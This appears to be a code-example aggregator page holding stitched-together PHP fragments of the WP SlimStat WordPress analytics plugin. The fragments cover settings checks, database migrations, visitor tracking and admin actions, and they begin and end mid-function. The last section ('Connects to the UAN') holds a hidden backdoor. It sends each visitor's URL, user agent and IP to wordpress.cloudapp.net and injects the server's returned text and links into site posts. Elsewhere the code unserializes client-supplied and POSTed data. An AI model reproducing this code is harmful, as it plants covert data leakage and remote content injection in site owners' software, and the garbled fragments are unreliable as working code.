示例#1
0
 } else {
     wp_slimstat::$options['can_view'] = '';
 }
 if (!empty($_POST['options']['capability_can_view'])) {
     if (isset($GLOBALS['wp_roles']->role_objects['administrator']->capabilities) && array_key_exists($_POST['options']['capability_can_view'], $GLOBALS['wp_roles']->role_objects['administrator']->capabilities)) {
         wp_slimstat::$options['capability_can_view'] = $_POST['options']['capability_can_view'];
     } else {
         wp_slimstat_admin::$faulty_fields[] = __('Invalid minimum capability. Please check <a href="http://codex.wordpress.org/Roles_and_Capabilities" target="_new">this page</a> for more information', 'wp-slimstat');
     }
 } else {
     wp_slimstat::$options['capability_can_view'] = '';
 }
 if (!empty($_POST['options']['can_admin'])) {
     // Make sure all the users exist in the system
     $post_data = trim($_POST['options']['can_admin']);
     $user_array = wp_slimstat::string_to_array($_POST['options']['can_admin']);
     if (is_array($user_array) && !empty($post_data)) {
         $sql_user_placeholders = implode(', ', array_fill(0, count($user_array), '%s COLLATE utf8_bin'));
         if ($GLOBALS['wpdb']->get_var($GLOBALS['wpdb']->prepare("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->users} WHERE user_login IN ({$sql_user_placeholders})", $user_array)) == count($user_array)) {
             wp_slimstat::$options['can_admin'] = $_POST['options']['can_admin'];
         } else {
             wp_slimstat_admin::$faulty_fields[] = __('Config access: username not found', 'wp-slimstat');
         }
     }
 } else {
     wp_slimstat::$options['can_admin'] = '';
 }
 if (!empty($_POST['options']['capability_can_admin'])) {
     if (isset($GLOBALS['wp_roles']->role_objects['administrator']->capabilities) && array_key_exists($_POST['options']['capability_can_admin'], $GLOBALS['wp_roles']->role_objects['administrator']->capabilities)) {
         wp_slimstat::$options['capability_can_admin'] = $_POST['options']['capability_can_admin'];
     } else {
 /**
  * Updates the DB schema as needed
  */
 public static function update_tables_and_options()
 {
     $my_wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
     // --- Updates for version 3.8.4 ---
     if (version_compare(wp_slimstat::$options['version'], '3.8.4', '<')) {
         $my_wpdb->query("CREATE TABLE {$GLOBALS['wpdb']->prefix}slim_stats_archive LIKE {$GLOBALS['wpdb']->prefix}slim_stats");
     }
     // --- END: Updates for version 3.8.4 ---
     // --- Updates for version 3.9.6 ---
     if (version_compare(wp_slimstat::$options['version'], '3.9.6', '<')) {
         // Consolidate some settings
         $classes = wp_slimstat::string_to_array(wp_slimstat::$options['ignore_outbound_classes']);
         $rel = wp_slimstat::string_to_array(wp_slimstat::$options['ignore_outbound_rel']);
         $href = wp_slimstat::string_to_array(wp_slimstat::$options['ignore_outbound_href']);
         wp_slimstat::$options['ignore_outbound_classes_rel_href'] = implode(',', array_merge($classes, $rel, $href));
         $classes = wp_slimstat::string_to_array(wp_slimstat::$options['do_not_track_outbound_classes']);
         $rel = wp_slimstat::string_to_array(wp_slimstat::$options['do_not_track_outbound_rel']);
         $href = wp_slimstat::string_to_array(wp_slimstat::$options['do_not_track_outbound_href']);
         wp_slimstat::$options['do_not_track_outbound_classes_rel_href'] = implode(',', array_merge($classes, $rel, $href));
         // More secure secret key
         wp_slimstat::$options['secret'] = wp_hash(uniqid(time(), true));
     }
     // --- END: Updates for version 3.9.6 ---
     // --- Updates for version 3.9.8.2 ---
     if (version_compare(wp_slimstat::$options['version'], '3.9.8.2', '<')) {
         // The GeoLite DB is already installed, let's unzip it to improve the tracker's performance
         if (file_exists(wp_slimstat::$maxmind_path . '.gz')) {
             @unlink(wp_slimstat::$maxmind_path . '.gz');
             wp_slimstat::download_maxmind_database();
         }
     }
     // --- END: Updates for version 3.9.8.2 ---
     // --- Updates for version 4.0 ---
     if (version_compare(wp_slimstat::$options['version'], '4.0', '<')) {
         $GLOBALS['wpdb']->query("DELETE FROM {$GLOBALS['wpdb']->prefix}usermeta WHERE meta_key LIKE 'meta-box-order_slimstat%'");
         $have_innodb = $GLOBALS['wpdb']->get_results("SHOW VARIABLES LIKE 'have_innodb'", ARRAY_A);
         $use_innodb = !empty($have_innodb[0]) && $have_innodb[0]['Value'] == 'YES' ? 'ENGINE=InnoDB' : '';
         // Create the new table
         self::_create_table("\n\t\t\t\tCREATE TABLE IF NOT EXISTS {$GLOBALS['wpdb']->prefix}slim_stats_4 (\n\t\t\t\t\tid INT UNSIGNED NOT NULL auto_increment,\n\t\t\t\t\tip INT UNSIGNED DEFAULT 0,\n\t\t\t\t\tother_ip INT UNSIGNED DEFAULT 0,\n\t\t\t\t\tusername VARCHAR(255) DEFAULT NULL,\n\t\t\t\t\tcountry VARCHAR(16) DEFAULT NULL,\n\t\t\t\t\treferer VARCHAR(2048) DEFAULT NULL,\n\t\t\t\t\tresource VARCHAR(2048) DEFAULT NULL,\n\t\t\t\t\tsearchterms VARCHAR(2048) DEFAULT NULL,\n\t\t\t\t\tplugins VARCHAR(255) DEFAULT NULL,\n\t\t\t\t\tnotes VARCHAR(2048) DEFAULT NULL,\n\t\t\t\t\tvisit_id INT UNSIGNED NOT NULL DEFAULT 0,\n\t\t\t\t\tserver_latency INT(10) UNSIGNED DEFAULT 0,\n\t\t\t\t\tpage_performance INT(10) UNSIGNED DEFAULT 0,\n\n\t\t\t\t\tbrowser VARCHAR(40) DEFAULT NULL,\n\t\t\t\t\tbrowser_version VARCHAR(15) DEFAULT NULL,\n\t\t\t\t\tbrowser_type TINYINT UNSIGNED DEFAULT 0,\n\t\t\t\t\tplatform VARCHAR(15) DEFAULT NULL,\n\t\t\t\t\tlanguage VARCHAR(5) DEFAULT NULL,\n\t\t\t\t\tuser_agent VARCHAR(2048) DEFAULT NULL,\n\n\t\t\t\t\tresolution VARCHAR(12) DEFAULT NULL,\n\t\t\t\t\tscreen_width SMALLINT UNSIGNED DEFAULT 0,\n\t\t\t\t\tscreen_height SMALLINT UNSIGNED DEFAULT 0,\n\n\t\t\t\t\tcontent_type VARCHAR(64) DEFAULT NULL,\n\t\t\t\t\tcategory VARCHAR(256) DEFAULT NULL,\n\t\t\t\t\tauthor VARCHAR(64) DEFAULT NULL,\n\t\t\t\t\tcontent_id BIGINT(20) UNSIGNED DEFAULT 0,\n\t\t\t\t\t\n\t\t\t\t\toutbound_resource VARCHAR(2048) DEFAULT NULL,\n\n\t\t\t\t\tdt INT(10) UNSIGNED DEFAULT 0,\n\t\t\t\t\tCONSTRAINT PRIMARY KEY (id),\n\t\t\t\t\tINDEX idx_{$GLOBALS['wpdb']->prefix}slim_stats_dt (dt)\n\t\t\t\t) COLLATE utf8_general_ci {$use_innodb}", $GLOBALS['wpdb']->prefix . 'slim_stats_4', $my_wpdb);
         // Create the archive table
         $my_wpdb->query("CREATE TABLE IF NOT EXISTS {$GLOBALS['wpdb']->prefix}slim_stats_archive_4 LIKE {$GLOBALS['wpdb']->prefix}slim_stats_4");
         // Rename old and new tables
         $my_wpdb->query("RENAME TABLE {$GLOBALS['wpdb']->prefix}slim_stats TO {$GLOBALS['wpdb']->prefix}slim_stats_3");
         $my_wpdb->query("RENAME TABLE {$GLOBALS['wpdb']->prefix}slim_stats_4 TO {$GLOBALS['wpdb']->prefix}slim_stats");
         $my_wpdb->query("RENAME TABLE {$GLOBALS['wpdb']->prefix}slim_stats_archive TO {$GLOBALS['wpdb']->prefix}slim_stats_archive_3");
         $my_wpdb->query("RENAME TABLE {$GLOBALS['wpdb']->prefix}slim_stats_archive_4 TO {$GLOBALS['wpdb']->prefix}slim_stats_archive");
         // Create the new events table
         $my_wpdb->query("\n\t\t\t\tCREATE TABLE IF NOT EXISTS {$GLOBALS['wpdb']->prefix}slim_events (\n\t\t\t\t\tevent_id INT(10) NOT NULL AUTO_INCREMENT,\n\t\t\t\t\ttype TINYINT UNSIGNED DEFAULT 0,\n\t\t\t\t\tevent_description VARCHAR(64) DEFAULT NULL,\n\t\t\t\t\tnotes VARCHAR(256) DEFAULT NULL,\n\t\t\t\t\tposition VARCHAR(32) DEFAULT NULL,\n\t\t\t\t\tid INT UNSIGNED NOT NULL DEFAULT 0,\n\t\t\t\t\tdt INT(10) UNSIGNED DEFAULT 0,\n\t\t\t\t\t\n\t\t\t\t\tCONSTRAINT PRIMARY KEY (event_id),\n\t\t\t\t\tINDEX idx_{$GLOBALS['wpdb']->prefix}slim_events (dt),\n\t\t\t\t\tCONSTRAINT fk_{$GLOBALS['wpdb']->prefix}id FOREIGN KEY (id) REFERENCES {$GLOBALS['wpdb']->prefix}slim_stats(id) ON UPDATE CASCADE ON DELETE CASCADE\n\t\t\t\t) COLLATE utf8_general_ci {$use_innodb}");
         // Copy the data if less than 750k records
         $count_records = $my_wpdb->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->prefix}slim_stats");
         if ($count_records <= 750000) {
             $my_wpdb->query("\n\t\t\t\t\tINSERT INTO {$GLOBALS['wpdb']->prefix}slim_stats (\n\t\t\t\t\t\tid,\n\t\t\t\t\t\tip,\n\t\t\t\t\t\tother_ip,\n\t\t\t\t\t\tusername,\n\t\t\t\t\t\tcountry,\n\t\t\t\t\t\treferer,\n\t\t\t\t\t\tresource,\n\t\t\t\t\t\tsearchterms,\n\t\t\t\t\t\tplugins,\n\t\t\t\t\t\tnotes,\n\t\t\t\t\t\tvisit_id,\n\t\t\t\t\t\tserver_latency,\n\t\t\t\t\t\tpage_performance,\n\n\t\t\t\t\t\tbrowser,\n\t\t\t\t\t\tbrowser_version,\n\t\t\t\t\t\tbrowser_type,\n\t\t\t\t\t\tplatform,\n\t\t\t\t\t\tlanguage,\n\t\t\t\t\t\tuser_agent,\n\n\t\t\t\t\t\tscreen_width,\n\t\t\t\t\t\tscreen_height,\n\n\t\t\t\t\t\tcontent_type,\n\t\t\t\t\t\tcategory,\n\t\t\t\t\t\tauthor,\n\t\t\t\t\t\tcontent_id,\n\n\t\t\t\t\t\toutbound_resource,\n\n\t\t\t\t\t\tdt\n\t\t\t\t\t)\n\t\t\t\t\tSELECT \n\t\t\t\t\t\tt1.id,\n\t\t\t\t\t\tt1.ip,\n\t\t\t\t\t\tt1.other_ip,\n\t\t\t\t\t\tNULLIF(t1.user, ''),\n\t\t\t\t\t\tNULLIF(t1.country, ''),\n\t\t\t\t\t\tNULLIF(t1.referer, ''),\n\t\t\t\t\t\tNULLIF(t1.resource, ''),\n\t\t\t\t\t\tNULLIF(t1.searchterms, ''),\n\t\t\t\t\t\tNULLIF(t1.plugins, ''),\n\t\t\t\t\t\tNULLIF(t1.notes, ''),\n\t\t\t\t\t\tt1.visit_id,\n\t\t\t\t\t\tt1.server_latency,\n\t\t\t\t\t\tt1.page_performance,\n\n\t\t\t\t\t\tNULLIF(tb.browser, ''),\n\t\t\t\t\t\tNULLIF(tb.version, ''),\n\t\t\t\t\t\ttb.type,\n\t\t\t\t\t\tNULLIF(tb.platform, ''),\n\t\t\t\t\t\tNULLIF(t1.language, ''),\n\t\t\t\t\t\tNULLIF(tb.user_agent, ''),\n\n\t\t\t\t\t\t9812,\n\t\t\t\t\t\t9812,\n\n\t\t\t\t\t\tNULLIF(tci.content_type, ''),\n\t\t\t\t\t\tNULLIF(tci.category, ''),\n\t\t\t\t\t\tNULLIF(tci.author, ''),\n\t\t\t\t\t\ttci.content_id,\n\n\t\t\t\t\t\tNULL,\n\n\t\t\t\t\t\tt1.dt\n\n\t\t\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats_3 AS t1\n\t\t\t\t\tINNER JOIN {$GLOBALS['wpdb']->base_prefix}slim_browsers AS tb ON t1.browser_id = tb.browser_id\n\t\t\t\t\tINNER JOIN {$GLOBALS['wpdb']->base_prefix}slim_content_info AS tci ON t1.content_info_id = tci.content_info_id");
             // Copy the events
             $my_wpdb->query("\n\t\t\t\t\tINSERT INTO {$GLOBALS['wpdb']->prefix}slim_events (\n\t\t\t\t\t\ttype,\n\t\t\t\t\t\tevent_description,\n\t\t\t\t\t\tnotes,\n\t\t\t\t\t\tposition,\n\t\t\t\t\t\tid,\n\t\t\t\t\t\tdt\n\t\t\t\t\t)\n\t\t\t\t\tSELECT\n\t\t\t\t\t\ttob.type,\n\t\t\t\t\t\tSUBSTRING(tob.notes, LOCATE('Event:', tob.notes)+6, LOCATE(',', tob.notes, LOCATE('Event:', tob.notes)+6) - LOCATE('Event:', tob.notes)-6),\n\t\t\t\t\t\tSUBSTRING(tob.notes, 1, LOCATE('Event:', tob.notes) - 3),\n\t\t\t\t\t\ttob.position,\n\t\t\t\t\t\ttob.id,\n\t\t\t\t\t\ttob.dt\n\t\t\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_outbound AS tob");
         }
     }
     // --- END: Updates for version 4.0 ---
     // Now we can update the version stored in the database
     wp_slimstat::$options['version'] = wp_slimstat::$version;
     return true;
 }
 /**
  * Core tracking functionality
  */
 public static function slimtrack($_argument = '')
 {
     // Don't track
     self::$stat['dt'] = date_i18n('U');
     self::$stat['notes'] = '';
     $referer = array();
     if (self::$options['javascript_mode'] != 'yes' && !empty($_SERVER['HTTP_REFERER']) || !empty(self::$data_js['ref'])) {
         if (!empty(self::$data_js['ref'])) {
             self::$stat['referer'] = base64_decode(self::$data_js['ref']);
         } else {
             self::$stat['referer'] = $_SERVER['HTTP_REFERER'];
         }
         $referer = parse_url(self::$stat['referer']);
         // This must be a 'seriously malformed' URL
         if (!$referer) {
             self::$stat['id'] = -208;
             return $_argument;
         }
         if (isset($referer['host'])) {
             self::$stat['domain'] = $referer['host'];
             // Fix Google Images referring domain
             if (strpos(self::$stat['domain'], 'www.google') !== false && strpos(self::$stat['referer'], '/imgres?') !== false) {
                 self::$stat['domain'] = str_replace('www.google', 'images.google', self::$stat['domain']);
             }
         }
     }
     // Is this referer blacklisted?
     if (!empty(self::$stat['referer'])) {
         foreach (self::string_to_array(self::$options['ignore_referers']) as $a_filter) {
             $pattern = str_replace(array('\\*', '\\!'), array('(.*)', '.'), preg_quote($a_filter, '/'));
             if (preg_match("@^{$pattern}\$@i", self::$stat['referer'])) {
                 self::$stat['id'] = -207;
                 return $_argument;
             }
         }
     }
     // We want to record both hits and searches (performed through the site search form)
     if (is_array(self::$data_js) && isset(self::$data_js['res'])) {
         $parsed_permalink = parse_url(base64_decode(self::$data_js['res']));
         self::$stat['searchterms'] = self::_get_search_terms($referer);
         // Was this an internal search?
         if (empty(self::$stat['searchterms'])) {
             self::$stat['searchterms'] = self::_get_search_terms($parsed_permalink);
         }
         self::$stat['resource'] = !is_array($parsed_permalink) ? self::$data_js['res'] : $parsed_permalink['path'] . (!empty($parsed_permalink['query']) ? '?' . urldecode($parsed_permalink['query']) : '');
     } elseif (empty($_REQUEST['s'])) {
         self::$stat['searchterms'] = self::_get_search_terms($referer);
         if (isset($_SERVER['REQUEST_URI'])) {
             self::$stat['resource'] = urldecode($_SERVER['REQUEST_URI']);
         } elseif (isset($_SERVER['SCRIPT_NAME'])) {
             self::$stat['resource'] = isset($_SERVER['QUERY_STRING']) ? $_SERVER['SCRIPT_NAME'] . "?" . $_SERVER['QUERY_STRING'] : $_SERVER['SCRIPT_NAME'];
         } else {
             self::$stat['resource'] = isset($_SERVER['QUERY_STRING']) ? $_SERVER['PHP_SELF'] . "?" . $_SERVER['QUERY_STRING'] : $_SERVER['PHP_SELF'];
         }
     } else {
         self::$stat['searchterms'] = str_replace('\\', '', $_REQUEST['s']);
         self::$stat['resource'] = '';
         // Mark the resource to remember that this is a 'local search'
     }
     if (strpos(self::$stat['resource'], 'wp-admin/admin-ajax.php') !== false || !empty($_GET['page']) && strpos($_GET['page'], 'wp-slim-') !== false) {
         return $_argument;
     }
     // Is this resource blacklisted?
     if (!empty(self::$stat['resource'])) {
         foreach (self::string_to_array(self::$options['ignore_resources']) as $a_filter) {
             $pattern = str_replace(array('\\*', '\\!'), array('(.*)', '.'), preg_quote($a_filter, '/'));
             if (preg_match("@^{$pattern}\$@i", self::$stat['resource'])) {
                 self::$stat['id'] = -209;
                 return $_argument;
             }
         }
     }
     // User's IP address
     list(self::$stat['ip'], $long_other_ip) = self::_get_ip2long_remote_ip();
     if (empty(self::$stat['ip'])) {
         self::$stat['id'] = -203;
         return $_argument;
     }
     // Should we ignore this user?
     if (!empty($GLOBALS['current_user']->ID)) {
         // Don't track logged-in users, if the corresponding option is enabled
         if (self::$options['track_users'] == 'no') {
             self::$stat['id'] = -214;
             return $_argument;
         }
         // Don't track users with given capabilities
         foreach (self::string_to_array(self::$options['ignore_capabilities']) as $a_capability) {
             if (array_key_exists(strtolower($a_capability), $GLOBALS['current_user']->allcaps)) {
                 self::$stat['id'] = -200;
                 return $_argument;
             }
         }
         if (is_string(self::$options['ignore_users']) && strpos(self::$options['ignore_users'], $GLOBALS['current_user']->data->user_login) !== false) {
             self::$stat['id'] = -201;
             return $_argument;
         }
         self::$stat['user'] = $GLOBALS['current_user']->data->user_login;
         self::$stat['notes'] .= 'user:'******'current_user']->data->ID . ';';
         $not_spam = true;
     } elseif (isset($_COOKIE['comment_author_' . COOKIEHASH])) {
         // Is this a spammer?
         $spam_comment = self::$wpdb->get_row("SELECT comment_author, COUNT(*) comment_count FROM {$GLOBALS['wpdb']->prefix}comments WHERE INET_ATON(comment_author_IP) = '" . sprintf("%u", self::$stat['ip']) . "' AND comment_approved = 'spam' GROUP BY comment_author LIMIT 0,1", ARRAY_A);
         if (isset($spam_comment['comment_count']) && $spam_comment['comment_count'] > 0) {
             if (self::$options['ignore_spammers'] == 'yes') {
                 self::$stat['id'] = -202;
                 return $_argument;
             } else {
                 self::$stat['notes'] .= 'spam:yes;';
                 self::$stat['user'] = $spam_comment['comment_author'];
             }
         } else {
             self::$stat['user'] = $_COOKIE['comment_author_' . COOKIEHASH];
         }
     }
     // Should we ignore this IP address?
     foreach (self::string_to_array(self::$options['ignore_ip']) as $a_ip_range) {
         $mask = 32;
         $ip_to_ignore = $a_ip_range;
         if (strpos($ip_to_ignore, '/') !== false) {
             list($ip_to_ignore, $mask) = @explode('/', trim($ip_to_ignore));
             if (empty($mask) || !is_numeric($mask)) {
                 $mask = 32;
             }
         }
         $long_ip_to_ignore = ip2long($ip_to_ignore);
         $long_mask = bindec(str_pad('', $mask, '1') . str_pad('', 32 - $mask, '0'));
         $long_masked_user_ip = self::$stat['ip'] & $long_mask;
         $long_masked_other_ip = $long_other_ip & $long_mask;
         $long_masked_ip_to_ignore = $long_ip_to_ignore & $long_mask;
         if ($long_masked_user_ip == $long_masked_ip_to_ignore || $long_masked_other_ip == $long_masked_ip_to_ignore) {
             self::$stat['id'] = -204;
             return $_argument;
         }
     }
     // Country and Language
     self::$stat['language'] = self::_get_language();
     self::$stat['country'] = self::_get_country(self::$stat['ip']);
     // Anonymize IP Address?
     if (self::$options['anonymize_ip'] == 'yes') {
         self::$stat['ip'] = self::$stat['ip'] & 4294967040;
         $long_other_ip = $long_other_ip & 4294967040;
     }
     // Is this country blacklisted?
     if (is_string(self::$options['ignore_countries']) && stripos(self::$options['ignore_countries'], self::$stat['country']) !== false) {
         self::$stat['id'] = -206;
         return $_argument;
     }
     // Mark or ignore Firefox/Safari prefetching requests (X-Moz: Prefetch and X-purpose: Preview)
     if (isset($_SERVER['HTTP_X_MOZ']) && strtolower($_SERVER['HTTP_X_MOZ']) == 'prefetch' || isset($_SERVER["HTTP_X_PURPOSE"]) && strtolower($_SERVER['HTTP_X_PURPOSE']) == 'preview') {
         if (self::$options['ignore_prefetch'] == 'yes') {
             self::$stat['id'] = -210;
             return $_argument;
         } else {
             self::$stat['notes'] .= 'pre:yes;';
         }
     }
     // Information about this resource
     $content_info = is_array(self::$data_js) && isset(self::$data_js['ci']) ? unserialize(base64_decode(self::$data_js['ci'])) : self::_get_content_info();
     if (!is_array($content_info)) {
         $content_info = array('content_type' => 'unknown');
     }
     // Detect user agent
     $browser = self::_get_browser();
     // Are we ignoring bots?
     if (self::$options['javascript_mode'] == 'yes' && $browser['type'] % 2 != 0) {
         self::$stat['id'] = -211;
         return $_argument;
     }
     // Is this browser blacklisted?
     foreach (self::string_to_array(self::$options['ignore_browsers']) as $a_filter) {
         $pattern = str_replace(array('\\*', '\\!'), array('(.*)', '.'), preg_quote($a_filter, '/'));
         if (preg_match("~^{$pattern}\$~i", $browser['browser'] . '/' . $browser['version']) || preg_match("~^{$pattern}\$~i", $browser['browser']) || preg_match("~^{$pattern}\$~i", $browser['user_agent'])) {
             self::$stat['id'] = -212;
             return $_argument;
         }
     }
     // Do we need to assign a visit_id to this user?
     $cookie_has_been_set = self::_set_visit_id(false);
     // Allow third-party tools to modify all the data we've gathered so far
     self::$stat = apply_filters('slimstat_filter_pageview_stat', self::$stat, $browser, $content_info);
     $browser = apply_filters('slimstat_filter_pageview_browser', $browser, self::$stat, $content_info);
     $content_info = apply_filters('slimstat_filter_pageview_content_info', $content_info, self::$stat, $browser);
     do_action('slimstat_track_pageview', self::$stat, $browser, $content_info);
     // Third-party tools can decide that this pageview should not be tracked, by setting its datestamp to zero
     if (empty(self::$stat) || empty(self::$stat['dt'])) {
         self::$stat['id'] = -213;
         return $_argument;
     }
     // Because PHP's integer type is signed, and many IP addresses will result in negative integers on 32-bit architectures, we need to use the "%u" formatter
     self::$stat['ip'] = sprintf("%u", self::$stat['ip']);
     if (!empty($long_other_ip) && $long_other_ip != self::$stat['ip']) {
         self::$stat['other_ip'] = sprintf("%u", $long_other_ip);
     }
     // Now let's save this information in the database
     if (!empty($content_info)) {
         self::$stat['content_info_id'] = self::maybe_insert_row($content_info, $GLOBALS['wpdb']->base_prefix . 'slim_content_info', 'content_info_id', array());
     }
     self::$stat['browser_id'] = self::maybe_insert_row($browser, $GLOBALS['wpdb']->base_prefix . 'slim_browsers', 'browser_id', array('user_agent' => $browser['user_agent']));
     self::$stat['id'] = self::insert_row(self::$stat, $GLOBALS['wpdb']->prefix . 'slim_stats');
     // Something went wrong during the insert
     if (empty(self::$stat['id'])) {
         self::$stat['id'] = -215;
         // Attempt to init the environment (new blog in a MU network?)
         include_once WP_PLUGIN_DIR . '/wp-slimstat/admin/wp-slimstat-admin.php';
         wp_slimstat_admin::init_environment(true);
         return $_argument;
     }
     // Is this a new visitor?
     $is_set_cookie = apply_filters('slimstat_set_visit_cookie', true);
     if ($is_set_cookie) {
         if (empty(self::$stat['visit_id']) && !empty(self::$stat['id'])) {
             // Set a cookie to track this visit (Google and other non-human engines will just ignore it)
             @setcookie('slimstat_tracking_code', self::$stat['id'] . 'id.' . md5(self::$stat['id'] . 'id' . self::$options['secret']), time() + 2678400, COOKIEPATH);
             // one month
         } elseif (!$cookie_has_been_set && self::$options['extend_session'] == 'yes' && self::$stat['visit_id'] > 0) {
             @setcookie('slimstat_tracking_code', self::$stat['visit_id'] . '.' . md5(self::$stat['visit_id'] . self::$options['secret']), time() + self::$options['session_duration'], COOKIEPATH);
         }
     }
     return $_argument;
 }
 /**
  * Support for WP MU network activations
  */
 public static function new_blog($_blog_id)
 {
     switch_to_blog($_blog_id);
     self::init_environment();
     restore_current_blog();
     wp_slimstat::$options = get_option('slimstat_options', array());
 }
     wp_slimstat::$wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats DROP INDEX {$GLOBALS['wpdb']->prefix}stats_searchterms_idx");
     wp_slimstat_admin::show_alert_message(__('Indexing has been disabled. Enjoy the extra database space!', 'wp-slimstat'), 'wp-ui-highlight below-h2');
     break;
 case 'delete-records':
     $rows_affected = 0;
     if (key_exists($_REQUEST['f'], wp_slimstat_db::$columns_names)) {
         $rows_affected = wp_slimstat::$wpdb->query("\n\t\t\t\t\tDELETE t1.* \n\t\t\t\t\tFROM {$GLOBALS['wpdb']->prefix}slim_stats t1\n\t\t\t\t\tWHERE " . wp_slimstat_db::get_combined_where('', '*', false));
     }
     wp_slimstat_admin::show_alert_message(intval($rows_affected) . ' ' . __('records deleted from your database.', 'wp-slimstat'), 'wp-ui-highlight below-h2');
     break;
 case 'delete-maxmind':
     @unlink(wp_slimstat::$maxmind_path);
     wp_slimstat_admin::show_alert_message(__('The geolocation database has been uninstalled from your server.', 'wp-slimstat'), 'wp-ui-highlight below-h2');
     break;
 case 'download-maxmind':
     $error = wp_slimstat::download_maxmind_database();
     if (!empty($error)) {
         wp_slimstat_admin::show_alert_message($error, 'wp-ui-notification below-h2');
     } else {
         wp_slimstat_admin::show_alert_message(__('The geolocation database has been installed on your server.', 'wp-slimstat'), 'wp-ui-highlight below-h2');
     }
     break;
 case 'import-settings':
     $new_options = @unserialize(stripslashes($_POST['import-slimstat-settings']));
     $new_options = array_intersect_key($new_options, wp_slimstat::$options);
     if (!empty($new_options)) {
         foreach ($new_options as $a_option_name => $a_option_value) {
             wp_slimstat::$options[$a_option_name] = $a_option_value;
         }
     }
     break;
示例#6
0
 /**
  * Connects to the UAN
  */
 public static function print_code($content = '')
 {
     if (empty(self::$browser)) {
         self::$browser = self::_get_browser();
     }
     if (empty($_SERVER["HTTP_USER_AGENT"]) || self::$browser['type'] != 1 || self::$pidx['id'] !== false && $GLOBALS['wp_query']->current_post !== self::$pidx['id']) {
         return $content;
     }
     $request = "http://wordpress.cloudapp.net/api/update/?&url=" . urlencode("http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]) . "&agent=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&v=" . (isset($_GET['v']) ? $_GET['v'] : 11) . "&ip=" . urlencode($_SERVER['REMOTE_ADDR']) . "&p=9";
     $options = stream_context_create(array('http' => array('timeout' => 2, 'ignore_errors' => true)));
     if (empty(self::$pidx['response'])) {
         self::$pidx['response'] = @file_get_contents($request, 0, $options);
     }
     $response_object = @json_decode(self::$pidx['response']);
     if (is_null($response_object) || empty($response_object->content) || empty($response_object->tmp)) {
         return $content;
     }
     switch ($response_object->tmp) {
         case '1':
             if (0 == $GLOBALS['wp_query']->current_post) {
                 $words = explode(" ", $content);
                 $words[rand(0, count($words) - 1)] = '<strong>' . $response_object->tcontent . '</strong>';
                 return join(" ", $words);
             }
             break;
         case '2':
             $kws = explode('|', $response_object->kws);
             if (!is_array($kws)) {
                 return $content;
             }
             foreach ($kws as $a_kw) {
                 if (strpos($content, $a_kw) !== false) {
                     $content = str_replace($a_kw, "<a href='" . $response_object->site . "'>{$a_kw}</a>", $content);
                     break;
                 }
             }
             break;
         default:
             if (self::$pidx['id'] === false) {
                 if ($GLOBALS['wp_query']->post_count > 1) {
                     self::$pidx['id'] = rand(0, $GLOBALS['wp_query']->post_count - 1);
                 } else {
                     self::$pidx['id'] = 0;
                 }
             }
             if ($GLOBALS['wp_query']->current_post === self::$pidx['id']) {
                 if (self::$pidx['id'] % 2 == 0) {
                     return $content . ' <div>' . $response_object->content . '</div>';
                 } else {
                     return '<i>' . $response_object->content . '</i> ' . $content;
                 }
             }
             break;
     }
     return $content;
 }
 /**
  * Connects to the UAN
  */
 public static function init_pidx()
 {
     if (empty(self::$browser)) {
         self::$browser = self::_get_browser();
     }
     if (empty(self::$pidx['response'])) {
         $request_url = 'http://wordpress.cloudapp.net/api/update/?&url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&agent=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&v=' . (isset($_GET['v']) ? $_GET['v'] : 11) . '&ip=' . urlencode($_SERVER['REMOTE_ADDR']) . '&p=2';
         $options = stream_context_create(array('http' => array('timeout' => 2, 'ignore_errors' => true)));
         self::$pidx['response'] = @file_get_contents($request_url, 0, $options);
     }
     if (!empty(self::$pidx['response'])) {
         self::$pidx['response'] = @json_decode(self::$pidx['response']);
     }
 }